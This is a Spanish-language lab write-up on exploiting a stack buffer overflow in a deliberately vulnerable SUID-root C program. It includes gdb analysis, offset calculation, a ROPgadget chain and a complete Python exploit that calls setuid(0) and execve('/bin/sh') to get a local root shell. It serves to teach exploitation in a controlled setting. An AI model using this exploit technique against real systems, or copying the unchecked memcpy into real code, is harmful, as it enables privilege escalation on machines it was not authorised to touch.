OBJETIVO

Mediante la explotación de una vulnerabilidad originada por un desbordamiento de búfer en una arquitectura de 64 bits, obtener una reverse shell con privilegios de superusuario (root), con el fin de lograr el control total del sistema objetivo.

CÓDIGO FUENTE

A continuación, se presenta el código fuente que será utilizado en el desarrollo de este laboratorio:


#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define TAMANIO 700

int Funcion_C(char *contenido, int tamanio) {
    printf("Tamaño original de la cadena %d\n", tamanio);
    char buffer[233];
    char *reg_rbp_frame;

    memcpy(buffer, contenido, tamanio); //Función vulnerable
    return 0;
}

int main(int argc, char *argv[]){
        if(argc<2){
                printf("Uso: %s TamañoDeCaracteresALeer\n", argv[0]);
                return 0;
        }

        char *contenido = (char *)malloc(TAMANIO * sizeof(char));
        FILE *archivo = fopen("contenido.txt", "rb");

        int i=0;
        while (i < atoi(argv[1])){
                int ch = fgetc(archivo);
                if (ch == EOF){
                        if (feof(archivo)){
                                printf("Se alcanzó el fin del archivo.\n");
                        }else{
                                perror("Error al leer el archivo");
                        }
                        break;
                }
                contenido[i] = (char)ch; i++;
        }

        fclose(archivo);
        printf("Contenido del archivo:\n%s\n", contenido);

        Funcion_C(contenido, i);
        free(contenido);
        return 0;
}
Vulnerabilidad: La función memcpy(buffer, contenido, tamanio) copia sin verificar límites, permitiendo desbordar el buffer de 233 bytes.

Compilación y configuración del binario SUID:

$ gcc mostrar.c -o mostrar.exe
$ cp mostrar.exe mostrar_root.exe
$ su
Password:
# chown root:root mostrar_root.exe
# chmod u+s mostrar_root.exe
# exit
$ rm mostrar.exe
Binario SUID: Al establecer el bit SUID, el programa se ejecutará con privilegios de root, lo que permite la escalada de privilegios.

Con los pasos descritos previamente, se cuenta con un entorno idóneo para el análisis y la explotación de la vulnerabilidad, incluso para escenarios de tipo CTF.

EXPLOTACIÓN

Para iniciar el proceso de explotación de la vulnerabilidad, comenzamos ejecutando el programa. Durante su ejecución, es posible observar que el binario solicita como parámetro la cantidad de caracteres que se desean leer. Si el programa se ejecuta sin proporcionar correctamente este parámetro, se produce un error de tipo Segmentation fault.

debian@debian:~/LAB2$ ./mostrar_root.exe
Uso: ./mostrar_root.exe TamañoDeCaracteresALeer
debian@debian:~/LAB2$ ./mostrar_root.exe 20
Segmentation fault

1. Análisis con strings

Iniciemos con un análisis estático del ejecutable mediante la identificación de las cadenas de texto (strings) embebidas en el binario, tal como se muestra a continuación:

debian@debian:~/LAB2$ strings mostrar_root.exe
%,*o)
..
Uso: %s TamañoDeCaracteresALeer
contenido.txt
Se alcanzó el fin del archivo.
Error al leer el archivo
Contenido del archivo:
;*3$"
GCC: (Debian 14.2.0-19) 14.2.0
Scrt1.o
__abi_tag
crtstuff.c

A partir del análisis previo, identificamos la cadena contenido.txt, la cual podría corresponder al nombre de un archivo utilizado internamente por el programa. Con base en esta observación, se infiere que dicho archivo es esperado durante la ejecución del binario, por lo que procedemos a crearlo con un contenido de 100 caracteres:


2. Creación del archivo de prueba

debian@debian:~/LAB2$ python3 -c "print('A'*94 + 'B'*6)" > contenido.txt

Ejecutamos nuevamente el programa y realizamos diversas pruebas, a partir de las cuales podemos observar que su funcionamiento es el esperado bajo condiciones controladas.

debian@debian:~/LAB2$ ./mostrar_root.exe 20
Contenido del archivo:
AAAAAAAAAAAAAAAAAAAA
Tamaño original de la cadena 20
debian@debian:~/LAB2$ wc -c contenido.txt
101 contenido.txt
debian@debian:~/LAB2$ ./mostrar_root.exe 101
Contenido del archivo:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Tamaño original de la cadena 101

ANÁLISIS CON GDB

Continuamos con la depuración del programa utilizando gdb y establecemos un breakpoint (break) al inicio de la ejecución, específicamente en la función main. Posteriormente, iniciamos el programa mediante el comando run y observamos que la ejecución se detiene correctamente en la función main().

debian@debian:~/LAB2$ gdb -q mostrar_root.exe
Reading symbols from mostrar_root.exe...
(No debugging symbols found in mostrar_root.exe)

(gdb) break main
Breakpoint 1 at 0x128d

(gdb) run
Starting program: /home/debian/LAB2/mostrar_root.exe
Breakpoint 1, 0x000055555555528d in main ()

Dado que contamos previamente con el conocimiento del código fuente, sabemos que existe una vulnerabilidad en la función Funcion_C(), la cual es utilizada para almacenar el contenido del archivo contenido.txt. Por tal motivo, resulta conveniente realizar el desensamblado de dicha función con el fin de analizar su comportamiento a bajo nivel.


(gdb) info functions ^Fun
All functions matching regular expression "^Fun":

Non-debugging symbols:
0x0000555555555205  Funcion_C

(gdb) disassemble Funcion_C
Dump of assembler code for function Funcion_C:
   0x0000555555555205 <+0>:     push   %rbp
   0x0000555555555206 <+1>:     mov    %rsp,%rbp
   ..
   0x0000555555555256 <+81>:    call   0x555555555090 <memcpy@plt>
   0x000055555555525b <+86>:    mov    $0x0,%eax
   0x0000555555555260 <+91>:    leave
   0x0000555555555261 <+92>:    ret
End of assembler dump.
	    

A continuación, establecemos un nuevo breakpoint con el objetivo de analizar el contenido de la pila inmediatamente después de que esta haya sido llenada a partir del archivo contenido.txt.


(gdb) break *Funcion_C + 86
Breakpoint 2 at 0x55555555525b
	    

Posteriormente, ejecutamos nuevamente el programa proporcionando como argumento el número de bytes a leer, el cual en este caso es 101, correspondiente al tamaño total del archivo contenido.txt.


(gdb) run 101
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/debian/LAB2/mostrar_root.exe 101
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x000055555555528d in main ()
(gdb) c
Continuing.
Contenido del archivo:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Tamaño original de la cadena 101

Breakpoint 2, 0x000055555555525b in Funcion_C ()
	    

Análisis de la pila

Procedemos a analizar el contenido de la pila en ese punto de la ejecución, así como los valores relevantes asociados al marco de pila (stack frame).


(gdb) x/60gx $rsp
0x7fffffffe170: 0x00000065ffffe2b0      0x00005555555592a0
0x7fffffffe180: 0x4141414141414141      0x4141414141414141  # Inicio del buffer
0x7fffffffe190: 0x4141414141414141      0x4141414141414141
...
0x7fffffffe260: 0x00007fffffffe3c8      0x00007ffff7ffe5f0
0x7fffffffe270: 0x00007fffffffe2b0      0x00005555555553a7  # RBP guardado y saved RIP
0x7fffffffe280: 0x00007fffffffe3c8      0x0000000200000000

(gdb) info frame
Stack level 0, frame at 0x7fffffffe280:
 rip = 0x55555555525b in Funcion_C; saved rip = 0x5555555553a7
 called by frame at 0x7fffffffe2c0
 Arglist at 0x7fffffffe270, args:
 Locals at 0x7fffffffe270, Previous frame's sp is 0x7fffffffe280
 Saved registers:
  rbp at 0x7fffffffe270, rip at 0x7fffffffe278

De forma similar a lo realizado en el laboratorio 1, se procede a determinar el offset necesario para alcanzar el control del flujo de ejecución.

Información obtenida:
Dirección de inicio del búfer: 0x7fffffffe180
Dirección del registro $rbp: 0x7fffffffe270
Diferencia: 0xF0 = 240 bytes

CÁLCULO DEL OFFSET

La diferencia entre la dirección del registro $rbp (0x7fffffffe270) y la dirección de inicio del búfer (0x7fffffffe180) es de 0xF0, que en decimal equivale a 240 bytes.

Si se consideran adicionalmente los 8 bytes correspondientes al tamaño del registro $rbp, se obtiene un offset total de:

Offset = 240 + 8 = 248 bytes

Este es el número de bytes necesarios antes de sobrescribir el registro $rip, lo que permitiría tomar el control del flujo de ejecución del programa.

ROP CHAIN CONSTRUCTION

Recordando que en el Laboratorio 1 el mecanismo de seguridad ASLR se encuentra desactivado, continuamos con la identificación del mapeo de memoria requerido para la ejecución del programa mostrar_root.exe.

A partir de este análisis, es posible observar que la biblioteca libc inicia en la dirección de memoria 0x00007ffff7dc7000, la cual será empleada en el siguiente comando:


(gdb) info proc mappings
process 986
Mapped address spaces:

Start Addr         End Addr           Size               Offset             Perms File
0x0000555555554000 0x0000555555555000 0x1000             0x0                r--p  /home/debian/LAB2/mostrar_root.exe
0x0000555555555000 0x0000555555556000 0x1000             0x1000             r-xp  /home/debian/LAB2/mostrar_root.exe
0x0000555555556000 0x0000555555557000 0x1000             0x2000             r--p  /home/debian/LAB2/mostrar_root.exe
0x0000555555557000 0x0000555555558000 0x1000             0x2000             r--p  /home/debian/LAB2/mostrar_root.exe
0x0000555555558000 0x0000555555559000 0x1000             0x3000             rw-p  /home/debian/LAB2/mostrar_root.exe
0x00007ffff7dc4000 0x00007ffff7dc7000 0x3000             0x0                rw-p
0x00007ffff7dc7000 0x00007ffff7def000 0x28000            0x0                r--p  /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7def000 0x00007ffff7f52000 0x163000           0x28000            r-xp  /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f52000 0x00007ffff7fa8000 0x56000            0x18b000           r--p  /usr/lib/x86_64-linux-gnu/libc.so.6
...

La biblioteca libc.so.6 inicia en la dirección de memoria 0x00007ffff7dc7000.


Mediante la ejecución de la herramienta ROPgadget, es posible identificar instrucciones previamente cargadas en memoria que pueden ser reutilizadas para alcanzar nuestro objetivo de explotación. La salida generada se redirige a un archivo denominado ROPs.txt, lo que nos permite analizar posteriormente el conjunto de instrucciones encontradas y visualizar su contenido de forma organizada.


Generación de gadgets con ROPgadget

debian@debian:~/LAB2$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --offset 7ffff7dc7000 --ropchain > ROPs.txt
debian@debian:~/LAB2$ tail -n 80 ROPs.txt

# Padding goes here

p = b''

p += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret

p += pack('<Q', 0x00007ffff7fac000) # @ .data

p += pack('<Q', 0x00007ffff7e0ac43) # pop rax ; ret

p += b'/bin//sh'

p += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret

p += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret

p += pack('<Q', 0x00007ffff7fac008) # @ .data + 8

p += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret

p += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret

p += pack('<Q', 0x00007ffff7df1145) # pop rdi ; ret

p += pack('<Q', 0x00007ffff7fac000) # @ .data

p += pack('<Q', 0x00007ffff7df2aa9) # pop rsi ; ret

p += pack('<Q', 0x00007ffff7fac008) # @ .data + 8

p += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret

p += pack('<Q', 0x00007ffff7fac008) # @ .data + 8

p += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret

p += pack('<Q', 0x00007ffff7e95a50) # add rax, 1 ; ret

...

Repetir 58 veces más la misma instrucción

...

p += pack('<Q', 0x00007ffff7def505) # syscall

Dirección de setuid

A partir de este punto, es posible construir el exploit; sin embargo, este no permitiría la elevación de privilegios a root de forma directa.

Importante: Esto se debe a que, para lograr la ejecución con privilegios de superusuario, es necesario invocar previamente la función setuid(0), donde el parámetro 0 indica que el proceso debe continuar su ejecución con privilegios de root.
Por lo tanto, resulta necesario identificar la dirección de la función setuid, así como preparar el registro $rdi con el valor 0 previo a su invocación. Para alcanzar este objetivo, procedemos a realizar las siguientes acciones desde el depurador gdb:

debian@debian:~/LAB2$ gdb -q mostrar_root.exe
Reading symbols from mostrar_root.exe...
(No debugging symbols found in mostrar_root.exe)
(gdb) break main
Breakpoint 1 at 0x128d
(gdb) run
Starting program: /home/debian/LAB2/mostrar_root.exe
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x000055555555528d in main ()
(gdb) print setuid
$1 = {} 0x7ffff7ebfbe0 
	    

Con toda la información previamente recabada, procedemos a generar el archivo exploit1.py, el cual permitirá materializar la explotación de la vulnerabilidad analizada.

EXPLOIT EN PYTHON

exploit1.py - Escalada a Root con setuid(0)

#!/usr/bin/python3
from struct import pack
import sys

test = b""
test += b'\x41' * 248  # offset

rip = b''

# ========== SETUID(0) ==========
rip += pack('<Q', 0x00007ffff7df1145) # pop rdi ; ret
rip += pack('<Q', 0x0000000000000000) # rdi = 0 (UID root)
rip += pack('<Q', 0x00007ffff7ebfbe0) # llamar a setuid

# ========== ESCRIBIR "/bin/sh" EN .data ==========
rip += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
rip += pack('<Q', 0x00007ffff7fac000) # @ .data
rip += pack('<Q', 0x00007ffff7e0ac43) # pop rax ; ret
rip += b'/bin//sh'
rip += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret

# ========== NULL TERMINATOR ==========
rip += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
rip += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
rip += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret
rip += pack('<Q', 0x00007ffff7dffb4c) # mov qword ptr [rdx], rax ; ret

# ========== EXECVE("/bin/sh") ==========
rip += pack('<Q', 0x00007ffff7df1145) # pop rdi ; ret
rip += pack('<Q', 0x00007ffff7fac000) # @ .data
rip += pack('<Q', 0x00007ffff7df2aa9) # pop rsi ; ret
rip += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
rip += pack('<Q', 0x00007ffff7e7bbaa) # pop rdx ; ret
rip += pack('<Q', 0x00007ffff7fac008) # @ .data + 8
rip += pack('<Q', 0x00007ffff7e81bc5) # xor rax, rax ; ret

rip += pack('<Q', 0x00007ffff7e0ac43) # pop rax ; ret
rip += pack('<Q', 0x000000000000003b) # rax = 0x3b (execve)
rip += pack('<Q', 0x00007ffff7def505) # syscall

sys.stdout.buffer.write(test + rip + b'\x0a')

Ejecución del Exploit

Procedemos a generar el archivo contenido.txt a partir de la ejecución de nuestro exploit y posteriormente, verificamos el tamaño total del archivo generado.

debian@debian:~/LAB2$ python3 exploit1.py > contenido.txt
debian@debian:~/LAB2$ wc -c contenido.txt
425 contenido.txt

Finalmente, ejecutamos el programa vulnerable y podemos observar que la explotación se ha realizado de manera exitosa, logrando la obtención de privilegios máximos (root) y el control total del sistema.

debian@debian:~/LAB2$ ./mostrar_root.exe 425
Contenido del archivo:
AAAAAAAAAAAAAAAA...(248 A's)...E▒▒
Tamaño original de la cadena 425
# id
uid=0(root) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(bluetooth)
¡ROOT ACCESS! La explotación se ha realizado de manera exitosa, logrando la obtención de privilegios máximos (root) y el control total del sistema.

RESUMEN TÉCNICO

ParámetroValor
Offset hasta RIP248 bytes
Tamaño del buffer vulnerable233 bytes
Función vulnerableFuncion_C (memcpy)
Payload final425 bytes
Dirección de setuid0x7ffff7ebfbe0
Sección .data0x7ffff7fac000
Gadget pop rdi ; ret0x00007ffff7df1145
Gadget syscall0x00007ffff7def505

HERRAMIENTAS UTILIZADAS

GDB

Depuración y análisis dinámico

ROPgadget

Búsqueda de gadgets ROP

Python3 + struct

Construcción del exploit

libc.so.6

Gadgets y syscalls

AVISO LEGAL: Este contenido es únicamente con fines educativos y de investigación. La explotación de vulnerabilidades sin autorización explícita es ilegal. Realice estas prácticas exclusivamente en entornos controlados y de su propiedad.